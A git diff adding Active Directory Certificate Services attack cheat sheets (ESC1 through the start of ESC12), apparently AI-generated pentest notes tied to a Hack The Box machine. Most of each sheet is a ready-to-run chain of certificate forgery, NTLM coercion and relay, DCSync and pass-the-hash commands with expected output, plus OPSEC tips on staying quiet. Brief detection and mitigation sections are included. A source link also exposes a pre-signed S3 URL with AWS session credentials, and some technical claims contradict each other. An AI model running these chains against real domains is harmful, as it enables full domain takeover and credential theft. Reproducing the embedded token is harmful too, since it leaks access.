+*** + +## Windows Attack Path (Certify.exe + Rubeus) + +If you're already on a Windows foothold: + +```powershell +# Step 1: Request cert with alt SAN +.\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:VulnTemplate /altname:administrator + +# Step 2: Copy cert.pem output, save it, convert with OpenSSL +openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx +# Leave password blank when prompted + +# Step 3: Request TGT + dump NT hash with Rubeus +.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap + +# Step 4: Create sacrificial session and inject ticket +.\Rubeus.exe createnetonly /program:powershell.exe /show +.\Rubeus.exe ptt /ticket:<base64ticket> + +# Step 5: DCSync from injected session +Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"' +``` + +*** + +## Real-World Example — Your Fluffy HTB Machine + +This is **exactly ESC16** on Fluffy, not ESC1 — but the exploitation chain you used is ESC16's UPN swap technique which *mimics* ESC1's outcome. Notice in your terminal: + +```bash +# You swapped ca_svc's UPN to 'administrator' +certipy-ad account -u winrm_svc@fluffy.htb -hashes ... \ + -user ca_svc -upn administrator update + +# Requested cert via the User template (no ESC1 template needed — ESC16 bypasses it) +certipy-ad req -u ca_svc -hashes ... -ca fluffy-DC01-CA -template User + +# Got cert with UPN 'administrator' — same end result as ESC1 +[*] Got certificate with UPN 'administrator' +[*] Saving certificate and private key to 'administrator.pfx' +``` + +In a **pure ESC1**, you would not need to manipulate any account's UPN first — you'd inject the UPN directly via `-upn` in the `certipy-ad req` command. ESC16 is covered later in the series. + +*** + +## ESC1 Indicators Summary + +| Indicator | Vulnerable Value | +|-----------|-----------------| +| `msPKI-Certificate-Name-Flag` | `ENROLLEE_SUPPLIES_SUBJECT` (0x1) | +| `msPKI-EnrollmentFlag` | Does NOT contain `PEND_ALL_REQUESTS` (0x2) | +| `msPKI-RA-Signature` | `0` | +| `pKIExtendedKeyUsage` | Contains `1.3.6.1.5.5.7.3.2` (Client Auth) or similar | +| Enrollment ACL | Includes low-priv groups (`Domain Users`, `Authenticated Users`) | + +*** + +## KB5014754 — Strong Certificate Binding Enforcement + +Microsoft's May 2022 patch (KB5014754) introduced the `szOID_NTDS_CA_SECURITY_EXT` SID extension into certificates. This can affect ESC1 exploitation on patched systems: + +| `StrongCertificateBindingEnforcement` Value | ESC1 Impact | +|---|---| +| `0` — Disabled | ✅ ESC1 works normally | +| `1` — Compatibility mode (default post-patch) | ⚠️ ESC1 still works but generates audit events | +| `2` — Full enforcement | ❌ ESC1 blocked — KDC validates objectSID in cert | + +```bash +# Check enforcement level on DC +netexec smb $TARGET -u 'lowpriv' -p 'Password123!' \ + -x 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement' +``` + +> 💡 Most environments are still on compatibility mode (`1`) — ESC1 still works. Full enforcement (`2`) is rare because it breaks environments with legacy certs that lack the SID extension. + +*** + +## OPSEC Considerations + +| Action | Log Generated | Noise Level | +|--------|--------------|-------------| +| Certipy enumeration (`find`) | LDAP queries | 🟢 Low | +| Certificate request (`req`) | Event ID 4886 (request), 4887 (issued) on CA | 🟢 Low | +| PKINIT authentication (`auth`) | Event ID 4768 (TGT request) on DC | 🟢 Low | +| Pass-the-Hash after auth | Event ID 4624 Type 3/9 | 🟡 Medium | + +> 💡 ESC1 is the **quietest** ADCS attack — no AD object modifications, no template changes, no relay traffic. The only logs are on the CA (cert request) and DC (Kerberos auth). If you use the TGT path instead of PtH, it's even quieter. + +*** + +## Additional Tool Support + +```bash +# Metasploit module +use auxiliary/admin/dcerpc/icpr_cert +set RHOSTS <CA-IP> +set USERNAME lowpriv +set PASSWORD Password123! +set DOMAIN domain.htb +set CA DOMAIN-CA-NAME +set CERT_TEMPLATE VulnTemplate +set ALT_UPN administrator@domain.htb +run +``` + +*** + +## Mitigation + +- **Disable** `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` on any template that has authentication EKUs +- **Restrict enrollment rights** — remove `Domain Users` / `Authenticated Users`; grant only specific service accounts +- **Enable Manager Approval** on any template where SAN specification is business-required +- **Set `StrongCertificateBindingEnforcement = 2`** on all DCs after re-issuing certificates with SID extensions +- **Monitor** certificate requests where the SAN differs from the requester's identity (Event ID 4886/4887 on the CA) + +Sources + redblock_team-11.-ADCS-Attacks.pdf https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/14624338/ba26726a-dc39-49bb-a7f4-de582faee79b/redblock_team-11.-ADCS-Attacks.pdf?AWSAccessKeyId=ASIA2F3EMEYE2RB7VN3N&Signature=6uwSMMzenwFOZlbo1P4KVYOKVio%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEMb%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIQCDVU42sVlwQOfJERjsghflP45l3bVzzfRHElUL2965EgIgJ3%2Bdir2PwWMNTEVZ%2F7kmsFOsIPkzJJc0fig%2BsKzqVtsq%2FAQIjv%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARABGgw2OTk3NTMzMDk3MDUiDLdQ6H8jp5zqDUG2zCrQBEUINgutUEVlTAtTqHdLzM1xiQIkB49UmP9AKI2%2FqkDL9ZYqkeHJIc0EP5SolM5Oo0L0R78Ky2dalTRl8zeJkt3x5DLocVtRl4wvSWxIxobyQCnQFwepMKq5pB8x0I9kJAZJgix05zBhSPUvNoSgcKxwq6p9tDc1HwNp0fGSf71%2B1xY7PYYACGQx%2FjpLbQNOMtrxIVkhbGDivWkG%2FE4RjOqYyvfMhSwN9RalfqlLuEfkRPmtwTwOlO2Z%2ByLWBMSeC5KE5M7CxTbW4w6kpbYz675BpTTvc%2Be%2Bj6SMC7jqIVTOvRhUzX1BE89eGl9fPkXZ%2F7RP%2BRvCySdjvGkN9Y%2BTZaYhs1dy0iljxfv35aYkTvmnVYE1YeEJy4U4yrWrtGEYuFr6PHvsGhq1BtSCxcZTqfdh%2BLTXNV%2BSaY3BV9F3dMp7TObOlMq5GCw31QzerzTt5SnRfC5Oy6xosBYGYSsD99hbsaAoM4wldLmvZPaU%2FQ9OYeUA2WnJ8YfomIk8oVa8zlNpTbcZiHwzruy4SU5qRnhLELCCFWNMMEpuKKRI0AsvWW50Ak9EbxwNjSsdFqFcKTFCdg2IYHWyTlqT%2B5gQBt%2BV63Q6%2B4fpZH2C6MQdI2OvNETFfJNaYPNFBKy4rpI%2F2ylRGww1%2B5iDVZeWZsC1%2F3zbidiWSGIOBGTUu2U%2BCn5ns7R0MC5mPpwqRSzCf14dWr5%2Fsfa8tws2%2FDUJKnQHHzMofecx%2BppjH8sXnLEl99qn9vmSsqcl50mnLI9ozZvZdd3nPhYPzEc1HpEk88a05ccwhdzAzgY6mAFv8g24saOF0u0nO6CvmEYWmNTBQUXADi20mRyrLMvH0fvzdutXTI5EWJKb3fe2QqOsl0ded9IQomVlCwPOjiSaGxdtA3iKxcJuGEMkxIDQtawntSKVlncFbwbEgiBMqiM9PuUckG58dIbgVcli9iHL3YFjyowff1MQ6zphRVvAdWKEspZ%2Bcne%2BUIf315efSksTiUze3N0DDQ%3D%3D&Expires=1775253889 + Screenshot-Perplexity-2026-04-03-at-18.54.05_Friday-2x.jpeg https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/images/14624338/bd5f25d5-7087-4cad-9068-50e9f63534f3/Screenshot-Perplexity-2026-04-03-at-18.54.05_Friday-2x.jpeg diff --git a/src/content/sheets/active-directory/esc10-weak-certificate-mapping.md b/src/content/sheets/active-directory/esc10-weak-certificate-mapping.md @@ -0,0 +1,222 @@ +--- +title: "ESC10 — Weak Certificate Mapping" +description: "ESC10 exploits weak certificate-to-account mapping enforcement on the Domain Controller. When the DC receives a certificate for authentication, it must…" +category: active-directory +tags: ["active-directory", "kerberos", "adcs"] +tools: ["NetExec", "Certipy", "BloodHound", "Evil-WinRM"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC10 — Weak Certificate Mapping.md" +--- +# ESC10 — Weak Certificate Mapping + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | DC Configuration Abuse | +| **Difficulty** | Medium | +| **Pre-requisites** | GenericWrite over an account + weak mapping registry settings on DC | +| **Tools** | Certipy, BloodHound, netexec | +| **OPSEC Noise** | Medium — UPN/DNS attribute changes generate AD change events | +| **One-liner** | Abuse weak certificate-to-account mapping on the DC to impersonate any user via UPN/DNS swap, similar to ESC9/ESC16 but caused by DC registry settings. | + +*** + +## What Is ESC10? + +ESC10 exploits **weak certificate-to-account mapping enforcement** on the Domain Controller. When the DC receives a certificate for authentication, it must determine which AD account the certificate belongs to. This "mapping" process can be **strong** (cryptographically verified via objectSID extension) or **weak** (trusting the UPN/DNS in the certificate without SID verification). + +ESC10 has **two distinct variants** based on which authentication protocol uses weak mapping: + +| Variant | Protocol | Registry Key | Vulnerable Value | +|---------|----------|-------------|-----------------| +| **ESC10a** | Kerberos (PKINIT) | `StrongCertificateBindingEnforcement` | `0` | +| **ESC10b** | Schannel (LDAPS/TLS) | `CertificateMappingMethods` | Contains `0x04` (UPN mapping bit) | + +*** + +## ESC10 vs ESC9 vs ESC16 — Why They Look Similar But Aren't + +All three use UPN/DNS swap → request cert → restore. The **root cause** differs: + +| | ESC9 | ESC10 | ESC16 | +|---|---|---|---| +| **Root cause** | Template flag `CT_FLAG_NO_SECURITY_EXTENSION` | **DC registry weak mapping** | CA-wide `DisableExtensionList` | +| **SID extension in cert?** | ❌ (template strips it) | ✅ (SID IS present, but DC ignores it) | ❌ (CA strips it) | +| **Where weakness lives** | Certificate Template | **Domain Controller** | Certificate Authority | +| **Blocked by StrongBinding=2?** | ✅ | ❌ ESC10a requires value=0 | ❌ | + +*** + +## Required Conditions — ESC10a (Kerberos) + +| Condition | Where to Check | +|-----------|----------------| +| `StrongCertificateBindingEnforcement = 0` on DC | Registry: `HKLM\SYSTEM\CurrentControlSet\Services\Kdc` | +| Attacker has `GenericWrite` over an account | BloodHound ACE edges | +| That account can enroll in a Client Auth template | Template enrollment rights | + +## Required Conditions — ESC10b (Schannel) + +| Condition | Where to Check | +|-----------|----------------| +| `CertificateMappingMethods` contains UPN bit (`0x04`) | Registry: `HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel` | +| Attacker has `GenericWrite` over an account | BloodHound ACE edges | +| That account can enroll in a Client Auth template | Template enrollment rights | +| LDAPS is enabled on DC | Port 636 accessible | + +*** + +## Step 0 — Enumeration + +```bash +# Check StrongCertificateBindingEnforcement +netexec smb $TARGET -u 'lowpriv' -p 'Password123!' \ + -x 'reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement' +# 0 = ESC10a exploitable +# 1 = Compatibility mode (may still work in some scenarios) +# 2 = Full enforcement (blocked) + +# Check CertificateMappingMethods +netexec smb $TARGET -u 'lowpriv' -p 'Password123!' \ + -x 'reg query "HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel" /v CertificateMappingMethods' +# If value contains 0x4 = UPN mapping enabled = ESC10b exploitable +# Default value 0x1F = ALL methods enabled = ESC10b exploitable + +# Standard certipy scan +certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ + -dc-ip $TARGET -vulnerable -stdout +``` + +*** + +## ESC10a Full Attack Chain — Kerberos (UPN Swap) + +The chain is similar to ESC9/ESC16 — swap UPN, request cert, restore, authenticate. + +### Step 1 — Note Current UPN of Controlled Account +```bash +certipy-ad account \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -user 'targetuser' \ + lookup +# Note: targetuser@domain.htb +``` + +### Step 2 — Swap UPN to Administrator +```bash +certipy-ad account \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -user 'targetuser' \ + -upn 'administrator' \ + update +``` + +### Step 3 — Request Certificate +```bash +certipy-ad req \ + -u 'targetuser@domain.htb' \ + -p 'TargetPass!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -template 'User' + +# Certificate WILL contain objectSID of targetuser +# But StrongCertificateBindingEnforcement=0 means DC ignores it +``` + +### Step 4 — Restore UPN Immediately +```bash +certipy-ad account \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -user 'targetuser' \ + -upn 'targetuser@domain.htb' \ + update +``` + +### Step 5 — Authenticate +```bash +certipy-ad auth \ + -pfx administrator.pfx \ + -username administrator \ + -domain domain.htb \ + -dc-ip $TARGET + +# DC maps cert to administrator via UPN (ignoring SID mismatch) +``` + +### Step 6 — Shell +```bash +export KRB5CCNAME=administrator.ccache +wmiexec.py -k -no-pass DC01.domain.htb +evil-winrm -i $TARGET -u administrator -H <NTHASH> +``` + +*** + +## ESC10b Full Attack Chain — Schannel (LDAPS Auth) + +ESC10b is different — instead of using PKINIT for Kerberos auth, you authenticate directly to **LDAPS** using the forged certificate. The DC's Schannel provider maps the cert to a user via the weak UPN method. + +### Steps 1–4 — Same as ESC10a (UPN swap, request cert, restore) + +### Step 5 — Authenticate via Schannel (LDAPS) + +```bash +# Use certipy with -ldap-shell flag for Schannel authentication +certipy-ad auth \ + -pfx administrator.pfx \ + -username administrator \ + -domain domain.htb \ + -dc-ip $TARGET \ + -ldap-shell + +# This gives you an LDAP shell as administrator +# From here you can: +# - Add yourself to Domain Admins +# - Perform Shadow Credentials attack +# - Dump LDAP data + +# In the LDAP shell: +> add_user_to_group administrator "Domain Admins" +> set_rbcd EVILPC$ DC01$ +``` + +> 💡 ESC10b via Schannel is particularly useful when PKINIT is disabled or when `StrongCertificateBindingEnforcement` is set to 2 (blocking ESC10a) but `CertificateMappingMethods` still has UPN mapping enabled. + +*** + +## OPSEC Considerations + +| Action | Log Generated | Noise Level | +|--------|--------------|-------------| +| Registry query (remote) | Security Event 4688 (process creation) | 🟡 Medium | +| UPN modification | Event ID 4738 (user account changed) | 🔴 High | +| Certificate request | Event ID 4886/4887 on CA | 🟡 Medium | +| LDAPS auth (ESC10b) | Event ID 4624 Type 10 via TLS | 🟡 Medium | + +*** + +## Detection Indicators + +- **Event ID 4738** — Rapid UPN change + revert (same pattern as ESC9/ESC16) +- **Event ID 4887** — Certificate issued where embedded SID doesn't match the UPN +- **Registry monitoring** — `StrongCertificateBindingEnforcement` or `CertificateMappingMethods` changed from enforced to weak values +- **LDAPS auth anomalies** — Certificate-based LDAPS logon from unexpected source IPs (ESC10b) + +*** + +## Mitigation + +- **Set `StrongCertificateBindingEnforcement = 2`** on all DCs — this is the single most important fix +- **Remove UPN mapping bit from `CertificateMappingMethods`** — set to `0x18` (SHA1 PublicKey + IssuerSerialNumber only) instead of the default `0x1F` +- **Audit `GenericWrite` ACEs** — the pre-requisite for the UPN swap +- **Apply KB5014754** and move beyond the compatibility period +- **Monitor UPN attribute changes** — alert on any `userPrincipalName` modification diff --git a/src/content/sheets/active-directory/esc11-ntlm-relay-to-adcs-rpc-icpr.md b/src/content/sheets/active-directory/esc11-ntlm-relay-to-adcs-rpc-icpr.md @@ -0,0 +1,375 @@ +--- +title: "ESC11 — NTLM Relay to ADCS RPC (ICPR)" +description: "ESC11 is the RPC-based sibling of ESC8. Where ESC8 relays NTLM credentials to the CA's HTTP Web Enrollment endpoint, ESC11 relays them to the CA's RPC…" +category: active-directory +tags: ["active-directory", "adcs", "ntlm", "relay"] +tools: ["Impacket", "Certipy", "Metasploit", "Evil-WinRM", "Certify"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC11 — NTLM Relay to ADCS RPC (ICPR).md" +--- +# ESC11 — NTLM Relay to ADCS RPC (ICPR) + +## What Is ESC11? + +ESC11 is the **RPC-based sibling of ESC8**. Where ESC8 relays NTLM credentials to the CA's **HTTP Web Enrollment** endpoint, ESC11 relays them to the CA's **RPC interface** — specifically the `ICertPassage` (MS-ICPR) protocol used for certificate enrollment over RPC/DCOM. This was discovered and disclosed by Sylvain Heiniger at Compass Security in a blog post titled *"Relaying to AD Certificate Services over RPC"*. + +The critical distinction: **ESC11 exists precisely because organisations disabled or never enabled Web Enrollment (preventing ESC8), but left RPC enrollment unencrypted**. It is the bypass for ESC8 mitigations. Many admins disable `certsrv` (HTTP) thinking they've closed the relay attack surface — ESC11 proves they haven't. + +The flag that makes this possible is `IF_ENFORCEENCRYPTICERTREQUEST` — when this is **not set** on the CA, the RPC certificate enrollment interface accepts unencrypted requests, allowing NTLM relay exactly like ESC8 does over HTTP. + +*** + +## ESC8 vs ESC11 — The Core Difference + +| | ESC8 | ESC11 | +|---|---|---| +| **Relay target** | `http://<CA>/certsrv/certfnsh.asp` | CA RPC endpoint (TCP 135 / dynamic ports) | +| **Protocol abused** | HTTP Web Enrollment | MS-ICPR (ICertPassage RPC) | +| **Key misconfiguration** | Web Enrollment enabled | `IF_ENFORCEENCRYPTICERTREQUEST` NOT set | +| **Certipy flag** | `Web Enrollment: Enabled` | `Enforce Encryption for Requests: Disabled` | +| **Disabled by default?** | ❌ Web Enrollment is off by default | ✅ Encryption enforcement is OFF by default on some configs | +| **Bypasses ESC8 fix?** | N/A | ✅ ESC11 works even when Web Enrollment is disabled | +| **Tool for relay** | `ntlmrelayx --adcs` | `certipy-ad relay` | + +*** + +## Required Conditions + +| Condition | Where to Check | +|-----------|----------------| +| `IF_ENFORCEENCRYPTICERTREQUEST` NOT set on CA | CA output: `Enforce Encryption for Requests: Disabled` | +| `Request Disposition: Issue` | CA output: `Request Disposition: Issue` | +| RPC reachable from attacker (TCP 135 + dynamic) | Network access to CA | +| At least one Client Auth or machine auth template available | Template enumeration | +| A coercible target (ideally DC) | Network topology | + +*** + +## Step 0 — Enumeration + +```bash +# Standard vulnerable scan +certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ + -dc-ip $TARGET -vulnerable -stdout + +# With hash +certipy-ad find -u 'lowpriv@domain.htb' -hashes :NTHASH \ + -dc-ip $TARGET -vulnerable -stdout +``` + +### What Vulnerable ESC11 Output Looks Like + +The vulnerability shows at the **CA level**: + +``` +Certificate Authorities + 0 + CA Name : DOMAIN-CA + DNS Name : DC01.domain.htb + Web Enrollment + HTTP + Enabled : False ← ESC8 NOT possible + HTTPS + Enabled : False + User Specified SAN : Disabled + Request Disposition : Issue + Enforce Encryption for Requests : Disabled ← ⚠️ THE ESC11 flag + + [!] Vulnerabilities + ESC11 : Encryption is not enforced for ICPR requests + and Request Disposition is set to Issue +``` + +> 💡 This is exactly what your **Fluffy box** output showed — `Web Enrollment: False` (no ESC8) but `Enforce Encryption for Requests: Enabled` — meaning on Fluffy, ESC11 was also NOT available, which is why the attack path was ESC16 instead. Knowing how to read this output is exactly what separates good ADCS operators from great ones. + +*** + +## Understanding the Relay Topology + +``` +[YOUR ATTACK BOX] [DOMAIN CONTROLLER] [CA / ADCS SERVER] + │ │ │ + │ 1. certipy relay │ │ + │ Listening on TCP 445 │ │ + │ │ │ + │ 2. Coerce DC auth │ │ + │ PetitPotam / Coercer │ │ + │─────────────────────────►│ │ + │ │ NTLM Auth triggered │ + │◄─────────────────────────│ │ + │ 3. Relay NTLM → CA RPC │ │ + │─────────────────────────────────────────────────────►│ + │ │ CA issues DC01$.pfx │ + │◄─────────────────────────────────────────────────────│ + │ 4. certipy auth -pfx dc01.pfx │ + │ 5. secretsdump DCSync → ALL hashes │ +``` + +> 💡 The topology is **identical to ESC8** — the only difference is what port/protocol your relay listener targets. All the same coercion tools apply. + +*** + +## Full Attack Chain — Linux (Certipy Relay) + +Certipy v4+ has **native relay support** built in, making ESC11 significantly cleaner than ESC8's ntlmrelayx approach. + +*** + +### Step 1 — Start the Certipy Relay Listener + +Open **Terminal 1**: + +```bash +# Certipy's native relay — targets the CA RPC interface directly +certipy-ad relay \ + -ca 'DOMAIN-CA-NAME' \ + -template 'DomainController' + +# If CA is on a separate host from the DC +certipy-ad relay \ + -target <CA-IP> \ + -ca 'DOMAIN-CA-NAME' \ + -template 'DomainController' + +# For relaying a user account instead of machine account +certipy-ad relay \ + -ca 'DOMAIN-CA-NAME' \ + -template 'User' +``` + +**Expected output:** +``` +[*] Targeting 'rpc://<CA-IP>' +[*] Listening on 0.0.0.0:445 +[*] Relay attack set up — waiting for connections... +``` + +> 💡 `certipy relay` automatically handles the RPC relay to the `ICertPassage` interface — no manual ntlmrelayx configuration needed. It listens on **port 445** for incoming NTLM authentication attempts. + +*** + +### Step 2 — Coerce Authentication from the Target + +Open **Terminal 2** — force the DC to authenticate toward you: + +**Method A — Coercer (all coercion methods combined, most reliable):** +```bash +# Requires a low-priv domain account +coercer coerce \ + -u 'lowpriv' \ + -p 'Password123!' \ + -d 'domain.htb' \ + -l <YOUR-IP> \ + -t <DC-IP> +``` + +**Method B — PetitPotam (EFS-based coercion):** +```bash +# Unauthenticated (pre-patch) +python3 PetitPotam.py <YOUR-IP> <DC-IP> + +# Authenticated (post-patch) +python3 PetitPotam.py \ + -u 'lowpriv' \ + -p 'Password123!' \ + -d 'domain.htb' \ + <YOUR-IP> <DC-IP> +``` + +**Method C — PrinterBug (Print Spooler):** +```bash +python3 printerbug.py 'domain.htb/lowpriv:Password123!'@<DC-IP> <YOUR-IP> +``` + +**Method D — DFSCoerce (MS-DFSNM):** +```bash +python3 dfscoerce.py \ + -u 'lowpriv' -p 'Password123!' \ + -d 'domain.htb' \ + <YOUR-IP> <DC-IP> +``` + +*** + +### Step 3 — Collect the Certificate (Watch Terminal 1) + +After coercion fires, watch Terminal 1 (certipy relay): + +``` +[*] Received connection from DC01$@<DC-IP> +[*] Connecting to 'rpc://<CA-IP>' +[*] Requesting certificate for 'DC01$' based on 'DomainController' template +[*] Got certificate with DNS hostname 'DC01.domain.htb' +[*] Saving certificate and private key to 'DC01$.pfx' +[*] Done! +``` + +*** + +### Step 4 — Authenticate as the DC Machine Account + +```bash +certipy-ad auth \ + -pfx 'DC01$.pfx' \ + -username 'DC01$' \ + -domain domain.htb \ + -dc-ip $TARGET +``` + +**Expected output:** +``` +[*] Using principal: 'DC01$@domain.htb' +[*] Trying to get TGT... +[*] Got TGT +[*] Saving credential cache to 'DC01$.ccache' +[*] Got hash for 'DC01$@domain.htb': aad3b435b51404eeaad3b435b51404ee:NTHASH +``` + +*** + +### Step 5 — DCSync (Full Domain Compromise) + +```bash +# Using TGT +export KRB5CCNAME='DC01$.ccache' +secretsdump.py -k -no-pass DC01.domain.htb + +# Using NT hash directly +secretsdump.py \ + -hashes :NTHASH \ + 'domain.htb/DC01$'@DC01.domain.htb + +# Output: ALL domain hashes +# Administrator:500:aad3b435...:NTHASH +# krbtgt:502:aad3b435...:KRBTGT_HASH +# All users... +``` + +*** + +### Step 6 — Shell as Administrator + +```bash +# Pass-the-Hash with Admin NT hash from DCSync +evil-winrm -i $TARGET -u administrator -H <ADMIN_NTHASH> +wmiexec.py administrator@$TARGET -hashes :ADMIN_NTHASH +psexec.py administrator@$TARGET -hashes :ADMIN_NTHASH +``` + +*** + +## Alternative — Using ntlmrelayx for ESC11 (Older Certipy Versions) + +If you're on an older Certipy version without native relay support: + +```bash +# Terminal 1 — ntlmrelayx targeting CA RPC +impacket-ntlmrelayx \ + -t rpc://<CA-IP> \ + -rpc-mode ICPR \ + -icpr-ca-name 'DOMAIN-CA-NAME' \ + --adcs \ + --template 'DomainController' \ + -smb2support + +# Terminal 2 — same coercion as above +python3 PetitPotam.py -u 'lowpriv' -p 'Password123!' -d 'domain.htb' <YOUR-IP> <DC-IP> +``` + +> 💡 Note the key difference from ESC8 — `-t rpc://<CA-IP>` instead of `-t http://...`, and the addition of `-rpc-mode ICPR` and `-icpr-ca-name`. These flags tell ntlmrelayx to speak the MS-ICPR protocol instead of HTTP enrollment. + +*** + +## ESC11 Visual Attack Flow + +``` +┌─────────────────────────────────────────────────────────────────────┐ +│ PREREQ CHECK │ +│ certipy find → Enforce Encryption for Requests: Disabled │ +└─────────────────────────────────────────────────────────────────────┘ + │ + ┌────────────────────▼──────────────────────┐ + │ Terminal 1: certipy relay │ + │ -ca DOMAIN-CA -template DomainController │ + │ Listening on 0.0.0.0:445 (RPC relay) │ + └────────────────────┬──────────────────────┘ + │ + ┌────────────────────▼──────────────────────┐ + │ Terminal 2: Coercer / PetitPotam │ + │ Force DC01$ → auth to YOUR-IP │ + └────────────────────┬──────────────────────┘ + │ + ┌────────────────────▼──────────────────────┐ + │ Relay → CA RPC (MS-ICPR) │ + │ CA issues DC01$.pfx │ + └────────────────────┬──────────────────────┘ + │ + ┌────────────────────▼──────────────────────┐ + │ certipy auth -pfx DC01$.pfx │ + │ → TGT + NT hash for DC01$ │ + └────────────────────┬──────────────────────┘ + │ + ┌────────────────────▼──────────────────────┐ + │ secretsdump DCSync │ + │ → ALL domain hashes │ + └────────────────────┬──────────────────────┘ + │ + [DOMAIN OWNED] +``` + +*** + +## Troubleshooting Common Issues + +| Error | Cause | Fix | +|-------|-------|-----| +| `certipy relay` gets connection but CA rejects | Encryption IS enforced — Certipy misread the flag | Double-check `Enforce Encryption for Requests` value in certipy output | +| `Connection refused` on relay | CA RPC port not reachable | Check firewall — TCP 135 and dynamic RPC ports must be open to your box | +| Coercion fires but no connection received | DC can't route back to your IP | Check your IP is reachable from the DC — use `tcpdump port 445` to confirm | +| `Got certificate but no DNS hostname` | Wrong template used | For DC machine accounts use `DomainController` template, not `User` | +| `certipy auth` fails with `KDC_ERR_PADATA` | PKINIT not supported for machine certs on this DC | Try specifying a different DC with `-dc-ip` | +| `ntlmrelayx -rpc-mode ICPR` errors | Old impacket version | Update impacket: `pip3 install impacket --upgrade` | + +*** + +## Detection Indicators + +- **Event ID 4887** — Certificate issued for a machine account where the request source IP differs from the machine's own IP +- **Windows Security Event ID 4624** — Type 3 logon for a machine account `DC01$` from an unexpected source IP +- **CA audit log** — RPC-based certificate requests from IP addresses not matching the machine account's registered IP +- **Network IDS** — NTLM authentication over port 445 followed immediately by RPC traffic to the CA on port 135+ from the same source +- **Sysmon Event ID 3** — Unexpected network connections from `lsass.exe` to your attacker IP + +*** + +## Mitigation + +- **Enable `IF_ENFORCEENCRYPTICERTREQUEST`** — the single most direct fix: + ```powershell + # On the CA server + certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST + net stop certsvc && net start certsvc + ``` +- **Block NTLM where possible** — enforce Kerberos-only authentication on sensitive segments to remove the relay opportunity +- **Enable SMB signing** on all domain machines — this doesn't directly fix ESC11 but eliminates many coercion-relay chains +- **Patch coercion vectors** — apply patches for PetitPotam (CVE-2021-36942), disable Print Spooler on DCs, disable unnecessary RPC services +- **Restrict which templates machine accounts can enroll in** — `DomainController` template should require CA manager approval +- **Network segmentation** — CA RPC ports (TCP 135 + dynamic) should not be reachable from workstation VLANs + +*** + +Ready for the **Golden Certificate Attack** whenever you say go, Netrunner. + +Sources + ESC11 - NTLM Relay to AD CS RPC Interfaces https://docs.specterops.io/ghostpack-docs/Certify.wik-mdx/esc11-ntlm-relay-to-ad-cs-rpc-interfaces + Exploiting Active Directory Certificate Services - ESC11 Walkthrough https://heartburn.dev/exploiting-active-directory-certificate-services-esc11-walkthrough/ + ADCS ESC11 – Relaying NTLM to ICPR - Hacking Articles https://www.hackingarticles.in/adcs-esc11-relaying-ntlm-to-icpr/ + redblock_team-11.-ADCS-Attacks.pdf https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/14624338/ba26726a-dc39-49bb-a7f4-de582faee79b/redblock_team-11.-ADCS-Attacks.pdf + Common ADCS Vulnerabilities: Logging, Exploitation ... - Lares Labs https://labs.lares.com/adcs-exploits-investigations-pt1/ + An Expert Guide to Fortifying Active Directory Certificate Services ... https://www.nccgroup.com/research/defending-your-directory-an-expert-guide-to-fortifying-active-directory-certificate-services-adcs-against-exploitation/ + Certificates - Microsoft Defender for Identity https://learn.microsoft.com/en-us/defender-for-identity/security-posture-assessments/certificates + Attacking AD CS ESC Vulnerabilities Using Metasploit https://rapid7.github.io/metasploit-framework/docs/pentesting/active-directory/ad-certificates/attacking-ad-cs-esc-vulnerabilities.html + 06 ‐ Privilege Escalation · ly4k/Certipy Wiki - GitHub https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation + AD CS Security: Understanding and Exploiting ESC Techniques https://www.vaadata.com/blog/ad-cs-security-understanding-and-exploiting-esc-techniques/ + Preventing Privilege Escalation via Active Directory Certificate ... https://www.catonetworks.com/blog/cato-ctrl-preventing-privilege-escalation-via-active-directory-certificate-services-adcs/ diff --git a/src/content/sheets/active-directory/esc12-shell-access-to-ca-with-yubihsm.md b/src/content/sheets/active-directory/esc12-shell-access-to-ca-with-yubihsm.md @@ -0,0 +1,196 @@ +--- +title: "ESC12 — Shell Access to CA with YubiHSM" +description: "ESC12 was disclosed by Hans-Joachim Knobloch and targets Certificate Authorities that use a Yubico YubiHSM2 hardware device for protecting their CA…" +category: active-directory +tags: ["active-directory", "adcs"] +tools: ["Impacket", "Certipy", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC12 — Shell Access to CA with YubiHSM.md" +--- +# ESC12 — Shell Access to CA with YubiHSM + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | Post-Exploitation / HSM Bypass | +| **Difficulty** | High (requires CA server shell access) | +| **Pre-requisites** | Local admin / SYSTEM on CA server using YubiHSM2 | +| **Tools** | Registry access, certutil, YubiHSM tools | +| **OPSEC Noise** | Medium — registry access + cert operations | +| **One-liner** | Recover plaintext YubiHSM authentication password from the registry on a CA server, then use it to sign arbitrary certificates through the HSM — bypassing the 